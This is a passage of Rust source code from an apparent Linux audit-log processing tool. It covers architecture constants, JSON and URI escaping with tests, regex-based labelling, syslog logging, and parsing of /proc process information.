| lazy_static! { 5 | pub static ref SYSCALL_NAMES: HashMap<&'static str, HashMap> = { 6 | let mut hm = HashMap::new(); 7 | /* @SYSCALL_BUILD@ */ 8 | hm 9 | }; 10 | } 11 | 12 | pub static URING_OPS: [Option<&[u8]>; 64] = [ 13 | /* @URING_OPS@ */ 14 | ]; 15 | -------------------------------------------------------------------------------- /src/constants.rs: -------------------------------------------------------------------------------- 1 | include!(concat!(env!("OUT_DIR"), "/const.rs")); 2 | 3 | /* 4 | Note: The table below has been generated by something like the 5 | following script: 6 | 7 | ``` 8 | #!/bin/sh 9 | set -eu 10 | LINUX=~/src/linux 11 | echo '#include ' \ 12 | | cpp -dM -D__LINUX_COMPILER_TYPES_H -I "${LINUX}/include/uapi" -I "${LINUX}/tools/include" \ 13 | | sed -ne '/^#define AUDIT_ARCH_/ { ; s/^.* \(AUDIT_ARCH_[A-Z0-9_]*\) .*$/\1/; p }' \ 14 | | sort -u \ 15 | | ( \ 16 | cat< 18 | #include 19 | 20 | char* lc(char* s) { 21 | static char l[64]; 22 | for (int i=0; s[i] != 0; i++) { 23 | if (s[i] >= 'A' && s[i] <= 'Z') 24 | l[i] = s[i] | 0x20; 25 | else 26 | l[i] = s[i]; 27 | l[i+1] = 0; 28 | } 29 | return l; 30 | } 31 | int main() { 32 | EOF 33 | while read token; do 34 | echo 'printf("(\"%s\", 0x%08x),\\n", lc("'$token'") + 11, '$token');' 35 | done 36 | echo "}" 37 | ) \ 38 | | gcc -Wall -o print-audit-archs -xc - 39 | ./print-audit-archs 40 | rm -f print-audit-archs 41 | ``` 42 | */ 43 | 44 | const ARCHS: &[(&str, u32)] = &[ 45 | ("aarch64", 0xc00000b7), 46 | ("alpha", 0xc0009026), 47 | ("arcompact", 0x4000005d), 48 | ("arcompactbe", 0x0000005d), 49 | ("arcv2", 0x400000c3), 50 | ("arcv2be", 0x000000c3), 51 | ("arm", 0x40000028), 52 | ("armeb", 0x00000028), 53 | ("c6x", 0x4000008c), 54 | ("c6xbe", 0x0000008c), 55 | ("cris", 0x4000004c), 56 | ("csky", 0x400000fc), 57 | ("frv", 0x00005441), 58 | ("h8300", 0x0000002e), 59 | ("hexagon", 0x000000a4), 60 | ("i386", 0x40000003), 61 | ("ia64", 0xc0000032), 62 | ("loongarch32", 0x40000102), 63 | ("loongarch64", 0xc0000102), 64 | ("m32r", 0x00000058), 65 | ("m68k", 0x00000004), 66 | ("microblaze", 0x000000bd), 67 | ("mips", 0x00000008), 68 | ("mips64", 0x80000008), 69 | ("mips64n32", 0xa0000008), 70 | ("mipsel", 0x40000008), 71 | ("mipsel64", 0xc0000008), 72 | ("mipsel64n32", 0xe0000008), 73 | ("nds32", 0x400000a7), 74 | ("nds32be", 0x000000a7), 75 | ("nios2", 0x40000071), 76 | ("openrisc", 0x0000005c), 77 | ("parisc", 0x0000000f), 78 | ("parisc64", 0x8000000f), 79 | ("ppc", 0x00000014), 80 | ("ppc64", 0x80000015), 81 | ("ppc64le", 0xc0000015), 82 | ("riscv32", 0x400000f3), 83 | ("riscv64", 0xc00000f3), 84 | ("s390", 0x00000016), 85 | ("s390x", 0x80000016), 86 | ("sh", 0x0000002a), 87 | ("sh64", 0x8000002a), 88 | ("shel", 0x4000002a), 89 | ("shel64", 0xc000002a), 90 | ("sparc", 0x00000002), 91 | ("sparc64", 0x8000002b), 92 | ("tilegx", 0xc00000bf), 93 | ("tilegx32", 0x400000bf), 94 | ("tilepro", 0x400000bc), 95 | ("unicore", 0x4000006e), 96 | ("x86_64", 0xc000003e), 97 | ("xtensa", 0x0000005e), 98 | ]; 99 | 100 | lazy_static! { 101 | pub static ref ARCH_IDS: HashMap<&'static str, u32> = { 102 | let mut hm = HashMap::with_capacity(ARCHS.len()); 103 | for (name, value) in ARCHS { 104 | hm.insert(*name, *value); 105 | } 106 | hm 107 | }; 108 | pub static ref ARCH_NAMES: HashMap = { 109 | let mut hm = HashMap::with_capacity(ARCHS.len()); 110 | for (name, value) in ARCHS { 111 | hm.insert(*value, *name); 112 | } 113 | hm 114 | }; 115 | } 116 | 117 | pub fn initialize() { 118 | lazy_static::initialize(&SYSCALL_NAMES); 119 | lazy_static::initialize(&ARCH_IDS); 120 | } 121 | -------------------------------------------------------------------------------- /src/json.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | fmt, 3 | io::{self, Read, Write}, 4 | }; 5 | 6 | use serde::de; 7 | 8 | use crate::quote::*; 9 | 10 | /// A Formatter for serde_josn that outputs byte buffers as 11 | /// URI-encodeed strings. 12 | #[derive(Clone, Debug)] 13 | pub struct SpecialFormatter; 14 | 15 | impl serde_json::ser::Formatter for SpecialFormatter { 16 | fn write_byte_array(&mut self, writer: &mut W, value: &[u8]) -> io::Result<()> 17 | where 18 | W: ?Sized + Write, 19 | { 20 | self.begin_string(writer)?; 21 | URIEscapeWriter(&mut BackslashEscapeWriter(writer)) 22 | .write(value) 23 | .map(|_| ())?; 24 | self.end_string(writer) 25 | } 26 | } 27 | 28 | pub fn to_writer(writer: W, value: &T) -> serde_json::Result<()> 29 | where 30 | W: Write, 31 | T: ?Sized + serde::Serialize, 32 | { 33 | let mut ser = serde_json::Serializer::with_formatter(writer, SpecialFormatter); 34 | value.serialize(&mut ser) 35 | } 36 | 37 | struct Deserializer(serde_json::Deserializer>); 38 | 39 | impl Deserializer { 40 | fn new(reader: R) -> Self { 41 | Deserializer(serde_json::Deserializer::from_reader(reader)) 42 | } 43 | } 44 | 45 | macro_rules! forward { 46 | ($method:ident ( $($var:ident: $ty:ty),* ) ) => { 47 | fn $method(self $(, $var : $ty)* , visitor: V) -> serde_json::Result 48 | where 49 | V: de::Visitor<'de>, 50 | { 51 | self.0.$method($($var ,)* visitor) 52 | } 53 | }; 54 | } 55 | 56 | macro_rules! forward_trivial { 57 | ( $($method:ident),* ) => { 58 | $( 59 | fn $method(self, visitor: V) -> serde_json::Result 60 | where 61 | V: de::Visitor<'de>, 62 | { 63 | self.0.$method(visitor) 64 | } 65 | )* 66 | } 67 | } 68 | 69 | use std::marker::PhantomData; 70 | 71 | struct BytesVisitor<'de, V: de::Visitor<'de>>(V, PhantomData<&'de ()>); 72 | 73 | impl<'de, V> de::Visitor<'de> for BytesVisitor<'de, V> 74 | where 75 | V: de::Visitor<'de>, 76 | { 77 | type Value = >::Value; 78 | 79 | fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { 80 | formatter.write_str("a string containing vaild percent-escape expressions") 81 | } 82 | 83 | fn visit_bytes(self, v: &[u8]) -> Result { 84 | let mut decoded = vec![]; 85 | let mut input = v.iter(); 86 | 87 | while let Some(c) = input.next() { 88 | decoded.push(*c); 89 | if *c == b'%' { 90 | let x1 = input 91 | .next() 92 | .ok_or_else(|| de::Error::custom("unexpected end of string".to_string()))?; 93 | let x2 = input 94 | .next() 95 | .ok_or_else(|| de::Error::custom("unexpected end of string".to_string()))?; 96 | let idx = decoded.len() - 1; 97 | faster_hex::hex_decode(&[*x1, *x2], &mut decoded[idx..=idx]) 98 | .map_err(de::Error::custom)?; 99 | } 100 | } 101 | 102 | self.0.visit_bytes(&decoded) 103 | } 104 | } 105 | 106 | impl<'de, R: Read> de::Deserializer<'de> for &mut Deserializer { 107 | type Error = serde_json::Error; 108 | 109 | forward_trivial! { 110 | deserialize_any, 111 | deserialize_bool, 112 | deserialize_f32, deserialize_f64, 113 | deserialize_char, deserialize_str, deserialize_string, 114 | deserialize_option, 115 | deserialize_unit, 116 | deserialize_u8, deserialize_u16, deserialize_u32, deserialize_u64, deserialize_u128, 117 | deserialize_i8, deserialize_i16, deserialize_i32, deserialize_i64, deserialize_i128, 118 | deserialize_seq, deserialize_map, 119 | deserialize_identifier, 120 | deserialize_ignored_any 121 | } 122 | 123 | forward! {deserialize_unit_struct ( name: &'static str ) } 124 | forward! {deserialize_newtype_struct ( name: &'static str ) } 125 | forward! {deserialize_tuple ( len: usize ) } 126 | forward! {deserialize_tuple_struct ( name: &'static str, len: usize ) } 127 | forward! {deserialize_struct ( name: &'static str, fields: &'static [&'static str] ) } 128 | forward! {deserialize_enum ( name: &'static str, variants: &'static [&'static str] ) } 129 | 130 | fn deserialize_bytes(self, visitor: V) -> serde_json::Result 131 | where 132 | V: de::Visitor<'de>, 133 | { 134 | // problem: we can't access peek 135 | self.0.deserialize_bytes(BytesVisitor(visitor, PhantomData)) 136 | } 137 | 138 | fn deserialize_byte_buf(self, visitor: V) -> serde_json::Result 139 | where 140 | V: de::Visitor<'de>, 141 | { 142 | self.deserialize_bytes(visitor) 143 | } 144 | } 145 | 146 | pub fn from_reader<'de, R, T>(reader: R) -> serde_json::Result 147 | where 148 | R: Read, 149 | T: de::Deserialize<'de>, 150 | { 151 | let mut d = crate::json::Deserializer::new(reader); 152 | de::Deserialize::deserialize(&mut d) 153 | } 154 | 155 | #[cfg(test)] 156 | mod test { 157 | use super::{from_reader, to_writer}; 158 | 159 | fn ser(value: &[u8]) -> String { 160 | let mut buf = vec![]; 161 | to_writer(&mut buf, serde_bytes::Bytes::new(value)).unwrap(); 162 | String::from_utf8(buf).unwrap() 163 | } 164 | 165 | fn de(value: &str) -> serde_bytes::ByteBuf { 166 | from_reader(value.as_bytes()).unwrap() 167 | } 168 | 169 | #[test] 170 | fn json_serialize() { 171 | for (buf, serialized) in &[ 172 | (&b" "[..], r#"" ""#), 173 | (&b"asdf"[..], r#""asdf""#), 174 | (&b"+"[..], r#""%2b""#), 175 | (&b"%"[..], r#""%25""#), 176 | (&b"+++"[..], r#""%2b%2b%2b""#), 177 | (&b"%%%"[..], r#""%25%25%25""#), 178 | (&b"%+%"[..], r#""%25%2b%25""#), 179 | (&b"\xc3\xa4"[..], r#""ä""#), 180 | (&b"\xe2\x82\xac"[..], r#""€""#), 181 | (&b"\xf0\x9f\x92\x96"[..], r#""💖""#), 182 | (&b"\xc3\xa4\xc3\xb6\xc3\xbc"[..], r#""äöü""#), 183 | (&b"abcd\xc3\xa4\xc3\xb6\xc3\xbcefgh"[..], r#""abcdäöüefgh""#), 184 | (&b"\xf0\x9f\x84\xbb\xf0\x9f\x84\xb0\xf0\x9f\x85\x84\xf0\x9f\x85\x81\xf0\x9f\x84\xb4\xf0\x9f\x84\xbb"[..], r#""🄻🄰🅄🅁🄴🄻""#), 185 | (&b"\xc3\xc3\xa4"[..], r#""%c3ä""#), 186 | (&b"\xf0\xf0\x9f\x92\x96"[..], r#""%f0💖""#), 187 | (&b"\xf0\x9f\xf0\x9f\x92\x96"[..], r#""%f0%9f💖""#), 188 | (&b"\xf0\x9f\x92\xf0\x9f\x92\x96"[..], r#""%f0%9f%92💖""#), 189 | 190 | (&b"\xed\xa0\x80"[..], r#""%ed%a0%80""#), // illegal surrogate codepoint 0xd800 191 | (&b"\xed\xa3\xbf"[..], r#""%ed%a3%bf""#), // illegal surrogate codepoint 0xd8ff 192 | (&b"\xed\xbf\xbf"[..], r#""%ed%bf%bf""#), // illegal surrogate codepoint 0xdfff 193 | ] { 194 | assert_eq!(ser(buf), *serialized); 195 | assert_eq!(*buf, *de(serialized)); 196 | } 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /src/label_matcher.rs: -------------------------------------------------------------------------------- 1 | use std::fmt; 2 | 3 | use regex::bytes::RegexSet; 4 | 5 | use serde::de::{self, Deserializer, MapAccess, Visitor}; 6 | use serde::ser::{SerializeMap, Serializer}; 7 | use serde::{Deserialize, Serialize}; 8 | 9 | #[derive(Clone, Debug)] 10 | pub struct LabelMatcher { 11 | set: RegexSet, 12 | tags: Vec>, 13 | } 14 | 15 | impl LabelMatcher { 16 | pub fn new(exprs: &[(&str, &str)]) -> Result { 17 | let mut regexes = Vec::with_capacity(exprs.len()); 18 | let mut tags = Vec::with_capacity(exprs.len()); 19 | for (r, t) in exprs { 20 | regexes.push(r); 21 | tags.push(Vec::from(t.as_bytes())); 22 | } 23 | let set = RegexSet::new(regexes)?; 24 | Ok(Self { set, tags }) 25 | } 26 | // Return the list of tags that are supposed to describe text 27 | pub fn matches(&self, text: &[u8]) -> Vec<&[u8]> { 28 | self.set 29 | .matches(text) 30 | .iter() 31 | .map(|i| self.tags[i].as_ref()) 32 | .collect() 33 | } 34 | } 35 | 36 | impl Serialize for LabelMatcher { 37 | // This is a lossy serializer that is intended to be used for debugging only. 38 | fn serialize(&self, s: S) -> Result { 39 | let mut map = s.serialize_map(None)?; 40 | let mut keys = self.set.patterns().iter(); 41 | let mut values = self.tags.iter(); 42 | while let (Some(k), Some(v)) = (keys.next(), values.next()) { 43 | map.serialize_entry(k, &String::from_utf8_lossy(v))?; 44 | } 45 | map.end() 46 | } 47 | } 48 | 49 | impl<'de> Deserialize<'de> for LabelMatcher { 50 | fn deserialize>(deserializer: D) -> Result { 51 | deserializer.deserialize_map(LabelMatcherVisitor {}) 52 | } 53 | } 54 | 55 | struct LabelMatcherVisitor {} 56 | 57 | impl<'de> Visitor<'de> for LabelMatcherVisitor { 58 | type Value = LabelMatcher; 59 | 60 | fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { 61 | write!(formatter, "a non-empty regexp=>label map") 62 | } 63 | 64 | fn visit_map(self, mut access: A) -> Result 65 | where 66 | A: MapAccess<'de>, 67 | { 68 | let mut kvs: Vec<(String, String)> = Vec::new(); 69 | while let Some((k, v)) = access.next_entry()? { 70 | kvs.push((k, v)); 71 | } 72 | if kvs.is_empty() { 73 | Err(de::Error::custom("empty hash")) 74 | } else { 75 | let kvs = kvs 76 | .iter() 77 | .map(|(k, v)| (k.as_ref(), v.as_ref())) 78 | .collect::>(); 79 | Ok(LabelMatcher::new(&kvs).map_err(de::Error::custom)?) 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub const VERSION: &str = env!("CARGO_PKG_VERSION"); 2 | 3 | pub mod coalesce; 4 | pub mod config; 5 | pub mod constants; 6 | pub mod json; 7 | pub mod label_matcher; 8 | pub mod logger; 9 | pub mod proc; 10 | #[cfg(all(feature = "procfs", target_os = "linux"))] 11 | pub mod procfs; 12 | pub(crate) mod quote; 13 | pub mod rotate; 14 | #[cfg(target_os = "linux")] 15 | pub mod sockaddr; 16 | #[cfg(test)] 17 | mod test; 18 | pub mod types; 19 | pub mod userdb; 20 | -------------------------------------------------------------------------------- /src/logger.rs: -------------------------------------------------------------------------------- 1 | use std::env::args; 2 | use std::ffi::OsStr; 3 | use std::path::PathBuf; 4 | 5 | use log; 6 | use simple_logger; 7 | use syslog; 8 | 9 | pub struct Logger { 10 | simple: simple_logger::SimpleLogger, 11 | syslog: Option, 12 | } 13 | 14 | impl Default for Logger { 15 | fn default() -> Self { 16 | let cmd: PathBuf = args().next().unwrap_or_else(|| "".into()).into(); 17 | 18 | let simple = simple_logger::SimpleLogger::new(); 19 | 20 | let syslog = syslog::unix(syslog::Formatter3164 { 21 | facility: syslog::Facility::LOG_DAEMON, 22 | hostname: None, 23 | process: cmd 24 | .file_name() 25 | .unwrap_or_else(|| OsStr::new("")) 26 | .to_string_lossy() 27 | .into(), 28 | pid: std::process::id(), 29 | }) 30 | .map(syslog::BasicLogger::new) 31 | .ok(); 32 | 33 | Logger { simple, syslog } 34 | } 35 | } 36 | 37 | impl log::Log for Logger { 38 | fn enabled(&self, _metadata: &log::Metadata<'_>) -> bool { 39 | true 40 | } 41 | fn log(&self, record: &log::Record<'_>) { 42 | self.simple.log(record); 43 | if let Some(l) = self.syslog.as_ref() { 44 | l.log(record) 45 | } 46 | } 47 | fn flush(&self) { 48 | self.simple.flush(); 49 | if let Some(l) = self.syslog.as_ref() { 50 | l.flush() 51 | } 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/procfs.rs: -------------------------------------------------------------------------------- 1 | use std::ffi::OsStr; 2 | use std::fs::{read_dir, read_link, File, Metadata}; 3 | use std::io::{BufRead, BufReader, Read, Write}; 4 | use std::os::unix::ffi::OsStrExt; 5 | use std::path::Path; 6 | use std::str::FromStr; 7 | 8 | use lazy_static::lazy_static; 9 | use nix::sys::time::TimeSpec; 10 | use nix::time::{clock_gettime, ClockId}; 11 | use nix::unistd::{sysconf, SysconfVar}; 12 | 13 | use thiserror::Error; 14 | 15 | lazy_static! { 16 | /// kernel clock ticks per second 17 | static ref CLK_TCK: u64 18 | = sysconf(SysconfVar::CLK_TCK).unwrap().unwrap() as u64; 19 | } 20 | 21 | #[derive(Debug, Error)] 22 | pub enum ProcFSError { 23 | #[error("can't read /proc/{pid}/(obj): {err}")] 24 | PidFile { 25 | pid: u32, 26 | obj: &'static str, 27 | err: std::io::Error, 28 | }, 29 | #[error("can't enumerate processes: {0}")] 30 | Enum(std::io::Error), 31 | #[error("can't get field {0}")] 32 | Field(&'static str), 33 | #[error("{0}: {1}")] 34 | Errno(&'static str, nix::errno::Errno), 35 | } 36 | 37 | fn slurp_file>(path: P) -> Result, std::io::Error> { 38 | let f = File::open(path)?; 39 | let mut r = BufReader::with_capacity(1 << 16, f); 40 | r.fill_buf()?; 41 | let mut buf = Vec::with_capacity(8192); 42 | r.read_to_end(&mut buf)?; 43 | Ok(buf) 44 | } 45 | 46 | /// Read contents of file, return buffer. 47 | fn slurp_pid_obj(pid: u32, obj: &'static str) -> Result, ProcFSError> { 48 | let path = format!("/proc/{pid}/{obj}"); 49 | slurp_file(path).map_err(|err| ProcFSError::PidFile { pid, obj, err }) 50 | } 51 | 52 | type Environment = Vec<(Vec, Vec)>; 53 | 54 | /// Returns set of environment variables that match pred for a given process 55 | pub fn get_environ(pid: u32, pred: F) -> Result 56 | where 57 | F: Fn(&[u8]) -> bool, 58 | { 59 | let buf = slurp_pid_obj(pid, "environ")?; 60 | let mut res = Vec::new(); 61 | 62 | for e in buf.split(|c| *c == 0) { 63 | let mut kv = e.splitn(2, |c| *c == b'='); 64 | let k = kv.next().unwrap_or_default(); 65 | if pred(k) { 66 | let v = kv.next().unwrap_or_default(); 67 | res.push((k.to_owned(), v.to_owned())); 68 | } 69 | } 70 | Ok(res) 71 | } 72 | 73 | /// Returns all currently valid process IDs 74 | pub fn get_pids() -> Result, ProcFSError> { 75 | Ok(read_dir("/proc") 76 | .map_err(ProcFSError::Enum)? 77 | .flatten() 78 | .filter_map(|e| u32::from_str(e.file_name().to_string_lossy().as_ref()).ok()) 79 | .collect::>()) 80 | } 81 | 82 | /// Returns file metadata for a path from a process' perspective 83 | pub fn pid_path_metadata(pid: u32, path: &[u8]) -> Result { 84 | if path.is_empty() || path[0] != b'/' { 85 | return Err(std::io::ErrorKind::NotFound.into()); 86 | } 87 | let mut proc_path = Vec::with_capacity(20 + path.len()); 88 | // unwrap safety: write will not produce an IO error 89 | write!(proc_path, "/proc/{pid}/root").unwrap(); 90 | proc_path.extend(path); 91 | std::fs::metadata(OsStr::from_bytes(&proc_path)) 92 | } 93 | 94 | #[derive(Debug)] 95 | pub(crate) struct ProcPidInfo { 96 | /// /proc//stat field 1 97 | pub pid: u32, 98 | /// /proc//stat field 4 99 | pub ppid: u32, 100 | /// /proc//stat field 22, converted to milliseconds since epoch 101 | pub starttime: u64, 102 | /// /proc/pid/comm 103 | pub comm: Option>, 104 | /// /proc/pid/exe 105 | pub exe: Option>, 106 | /// from /proc/$PID/cgroup 107 | pub cgroup: Option>, 108 | } 109 | 110 | /// Parses information from /proc entry corresponding to process pid 111 | pub(crate) fn parse_proc_pid(pid: u32) -> Result { 112 | let buf = slurp_pid_obj(pid, "stat")?; 113 | // comm may contain whitespace and ")", skip over it. 114 | let pid_end = buf 115 | .iter() 116 | .enumerate() 117 | .find(|(_, c)| **c == b' ') 118 | .ok_or(ProcFSError::Field("pid"))? 119 | .0; 120 | let stat_pid = &buf[..pid_end]; 121 | 122 | let comm_end = buf 123 | .iter() 124 | .enumerate() 125 | .rfind(|(_, c)| **c == b')') 126 | .ok_or(ProcFSError::Field("comm"))? 127 | .0; 128 | let stat = &buf[comm_end + 2..] 129 | .split(|c| *c == b' ') 130 | .collect::>(); 131 | 132 | let comm = slurp_pid_obj(pid, "comm") 133 | .map(|mut s| { 134 | s.truncate(s.len() - 1); 135 | s 136 | }) 137 | .ok(); 138 | 139 | let exe = read_link(format!("/proc/{pid}/exe")) 140 | .map(|p| Vec::from(p.as_os_str().as_bytes())) 141 | .ok(); 142 | 143 | let pid = u32::from_str(String::from_utf8_lossy(stat_pid).as_ref()) 144 | .map_err(|_| ProcFSError::Field("pid"))?; 145 | let ppid = u32::from_str(String::from_utf8_lossy(stat[1]).as_ref()) 146 | .map_err(|_| ProcFSError::Field("ppid"))?; 147 | let starttime = u64::from_str(String::from_utf8_lossy(stat[19]).as_ref()) 148 | .map_err(|_| ProcFSError::Field("starttime"))?; 149 | 150 | // Use the boottime-based clock to calculate process start 151 | // time, convert to Unix-epoch-based-time. 152 | let proc_boottime = TimeSpec::from(libc::timespec { 153 | tv_sec: (starttime / *CLK_TCK) as _, 154 | tv_nsec: ((starttime % *CLK_TCK) * (1_000_000_000 / *CLK_TCK)) as _, 155 | }); 156 | #[cfg(not(target_os = "linux"))] 157 | let proc_age = TimeSpec::from(std::time::Duration::ZERO); 158 | #[cfg(target_os = "linux")] 159 | let proc_age = clock_gettime(ClockId::CLOCK_BOOTTIME) 160 | .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_BOOTTIME)", e))? 161 | - proc_boottime; 162 | let starttime = { 163 | let lt = clock_gettime(ClockId::CLOCK_REALTIME) 164 | .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_REALTIME)", e))? 165 | - proc_age; 166 | (lt.tv_sec() as u64) * 1000 + (lt.tv_nsec() as u64) / 1_000_000 167 | }; 168 | 169 | let cgroup = parse_proc_pid_cgroup(pid)?; 170 | 171 | Ok(ProcPidInfo { 172 | pid, 173 | ppid, 174 | starttime, 175 | comm, 176 | exe, 177 | cgroup, 178 | }) 179 | } 180 | 181 | /// Parses path (third field) /proc/pid/cgroup 182 | pub(crate) fn parse_proc_pid_cgroup(pid: u32) -> Result>, ProcFSError> { 183 | parse_cgroup_buf(&slurp_pid_obj(pid, "cgroup")?) 184 | } 185 | 186 | fn parse_cgroup_buf(buf: &[u8]) -> Result>, ProcFSError> { 187 | for line in buf.split(|c| *c == b'\n') { 188 | match line.split(|&c| c == b':').nth(2) { 189 | None => continue, 190 | Some(dir) => return Ok(Some(dir.to_vec())), 191 | } 192 | } 193 | Ok(None) 194 | } 195 | 196 | #[cfg(test)] 197 | mod tests { 198 | use super::*; 199 | #[test] 200 | fn parse_self() { 201 | let pid = std::process::id(); 202 | let proc = parse_proc_pid(pid).unwrap_or_else(|_| panic!("parse entry for {pid}")); 203 | println!("{:?}", proc); 204 | } 205 | } 206 | -------------------------------------------------------------------------------- /src/quote.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Result, Write}; 2 | 3 | const HEXDIGITS: &[u8; 16] = b"0123456789abcdef"; 4 | 5 | /// Adapter that applies backslash-coding according to JSON rules to 6 | /// the bytes written. 7 | pub(crate) struct BackslashEscapeWriter<'a, W>(pub &'a mut W) 8 | where 9 | W: ?Sized + Write; 10 | 11 | impl Write for BackslashEscapeWriter<'_, W> 12 | where 13 | W: ?Sized + Write, 14 | { 15 | fn write(&mut self, buf: &[u8]) -> Result { 16 | let mut quoted = [b'\\', b'u', b'0', b'0', b'0', b'0']; 17 | let mut start_unquoted = 0; 18 | for (n, c) in buf.iter().enumerate() { 19 | let quoted = match c { 20 | b'"' => &br#"\""#[..], 21 | b'\\' => &br#"\\"#[..], 22 | b'\x08' => &br#"\b"#[..], 23 | b'\x0c' => &br#"\f"#[..], 24 | b'\n' => &br#"\n"#[..], 25 | b'\r' => &br#"\r"#[..], 26 | b'\t' => &br#"\t"#[..], 27 | c if *c < 32 => { 28 | quoted[4] = HEXDIGITS[((*c & 0xf0) >> 4) as usize]; 29 | quoted[5] = HEXDIGITS[(*c & 0x0f) as usize]; 30 | "ed 31 | } 32 | _ => continue, 33 | }; 34 | self.0.write_all(&buf[start_unquoted..n])?; 35 | self.0.write_all(quoted)?; 36 | start_unquoted = n + 1; 37 | } 38 | self.0.write_all(&buf[start_unquoted..])?; 39 | Ok(buf.len()) 40 | } 41 | fn flush(&mut self) -> Result<()> { 42 | self.0.flush() 43 | } 44 | } 45 | 46 | fn write_quoted_byte(writer: &mut W, value: u8) -> Result<()> 47 | where 48 | W: ?Sized + Write, 49 | { 50 | let value = value as usize; 51 | writer.write_all(&[b'%', HEXDIGITS[value >> 4], HEXDIGITS[value & 0x0f]]) 52 | } 53 | 54 | /// Adapter that applies URI-escaping (except ' ' -> '+') to the bytes writen. 55 | /// 56 | /// Printable ASCII characters except `%`, `+`, and `\b`, `\f`, `\n`, 57 | /// `\r`, `\t` are left as-is. 58 | /// 59 | /// This is the "inner" encoding of the JSON strings produced by Laurel. 60 | pub(crate) struct URIEscapeWriter<'a, W>(pub &'a mut W) 61 | where 62 | W: ?Sized + Write; 63 | 64 | impl Write for URIEscapeWriter<'_, W> 65 | where 66 | W: ?Sized + Write, 67 | { 68 | fn write(&mut self, buf: &[u8]) -> Result { 69 | let mut utf8state: Option = None; 70 | let mut stash = tinyvec::array_vec!([u8; 4]); 71 | let mut start_unquoted = 0; 72 | for (n, c) in buf.iter().enumerate() { 73 | loop { 74 | match utf8state { 75 | None => { 76 | if *c >= 32 77 | && *c < 127 78 | && ![b'%', b'+', b'\x08', b'\x0c', b'\n', b'\r', b'\t'].contains(c) 79 | { 80 | // simple byte, collect to be output as-is. 81 | break; 82 | } 83 | self.0.write_all(&buf[start_unquoted..n])?; 84 | start_unquoted = n + 1; 85 | let len = match *c { 86 | n if n & 0b11100000 == 0b11000000 => 1, 87 | n if n & 0b11110000 == 0b11100000 => 2, 88 | n if n & 0b11111000 == 0b11110000 => 3, 89 | _ => { 90 | // simple non-representable byte 91 | write_quoted_byte(self.0, *c)?; 92 | break; 93 | } 94 | }; 95 | stash.clear(); 96 | stash.push(*c); 97 | utf8state = Some(len); 98 | break; 99 | } 100 | Some(ref mut len) => { 101 | if *c & 0b11000000 == 0b10000000 { 102 | start_unquoted = n + 1; 103 | stash.push(*c); 104 | *len -= 1; 105 | // Complete UTF-8 multi-byte-sequence. Write. 106 | if *len == 0 { 107 | match std::str::from_utf8(&stash) { 108 | Ok(s) if s != "\u{feff}" => self.0.write_all(&stash)?, 109 | _ => stash 110 | .iter() 111 | .try_for_each(|c| write_quoted_byte(self.0, *c))?, 112 | } 113 | utf8state = None; 114 | } 115 | break; 116 | } else { 117 | // Incomplete UTF-8 multi-byte sequence. 118 | // Write and re-evaluate current byte. 119 | stash 120 | .iter() 121 | .try_for_each(|c| write_quoted_byte(self.0, *c))?; 122 | utf8state = None; 123 | } 124 | } 125 | } 126 | } 127 | } 128 | // invalid UTF-8 multi-byte-sequence at end of input. 129 | match utf8state { 130 | Some(_) => stash 131 | .iter() 132 | .try_for_each(|c| write_quoted_byte(self.0, *c))?, 133 | None => self.0.write_all(&buf[start_unquoted..])?, 134 | }; 135 | Ok(buf.len()) 136 | } 137 | fn flush(&mut self) -> Result<()> { 138 | self.0.flush() 139 | } 140 | } 141 | 142 | #[cfg(test)] 143 | mod test { 144 | use super::URIEscapeWriter; 145 | use std::io::Write; 146 | 147 | fn uri_escaped(value: &[u8]) -> String { 148 | let mut buf = Vec::with_capacity(value.len()); 149 | URIEscapeWriter(&mut buf).write(value).unwrap(); 150 | String::from_utf8(buf).unwrap() 151 | } 152 | 153 | #[test] 154 | fn uri_escape() { 155 | assert_eq!(" ", uri_escaped(b" ")); 156 | assert_eq!("asdf", uri_escaped(b"asdf")); 157 | assert_eq!("%2b", uri_escaped(b"+")); 158 | assert_eq!("%25", uri_escaped(b"%")); 159 | assert_eq!("%2b%2b%2b", uri_escaped(b"+++")); 160 | assert_eq!("%25%25%25", uri_escaped(b"%%%")); 161 | assert_eq!("%25%2b%25", uri_escaped(b"%+%")); 162 | assert_eq!("ä", uri_escaped(b"\xc3\xa4")); 163 | assert_eq!("€", uri_escaped(b"\xe2\x82\xac")); 164 | assert_eq!("💖", uri_escaped(b"\xf0\x9f\x92\x96")); 165 | assert_eq!("äöü", uri_escaped(b"\xc3\xa4\xc3\xb6\xc3\xbc")); 166 | assert_eq!( 167 | "abcdäöüefgh", 168 | uri_escaped(b"abcd\xc3\xa4\xc3\xb6\xc3\xbcefgh") 169 | ); 170 | assert_eq!("🄻🄰🅄🅁🄴🄻", uri_escaped(b"\xf0\x9f\x84\xbb\xf0\x9f\x84\xb0\xf0\x9f\x85\x84\xf0\x9f\x85\x81\xf0\x9f\x84\xb4\xf0\x9f\x84\xbb")); 171 | assert_eq!("%c3ä", uri_escaped(b"\xc3\xc3\xa4")); 172 | assert_eq!("%f0💖", uri_escaped(b"\xf0\xf0\x9f\x92\x96")); 173 | assert_eq!("%f0💖%f0", uri_escaped(b"\xf0\xf0\x9f\x92\x96\xf0")); 174 | assert_eq!("%f0💖asdf", uri_escaped(b"\xf0\xf0\x9f\x92\x96asdf")); 175 | assert_eq!("%f0%9f💖", uri_escaped(b"\xf0\x9f\xf0\x9f\x92\x96")); 176 | assert_eq!("%f0%9f%92💖", uri_escaped(b"\xf0\x9f\x92\xf0\x9f\x92\x96")); 177 | assert_eq!("%ef%bb%bf", uri_escaped(b"\xEF\xBB\xBF")); 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /src/rotate.rs: -------------------------------------------------------------------------------- 1 | use std::ffi::{OsStr, OsString}; 2 | use std::fs::{self, remove_file, rename, File, OpenOptions}; 3 | use std::io::{Error, Result, Seek, SeekFrom, Write}; 4 | use std::os::unix::fs::OpenOptionsExt; 5 | 6 | use exacl::{setfacl, AclEntry, Perm}; 7 | 8 | /// A rotating (log) file writer 9 | /// 10 | /// 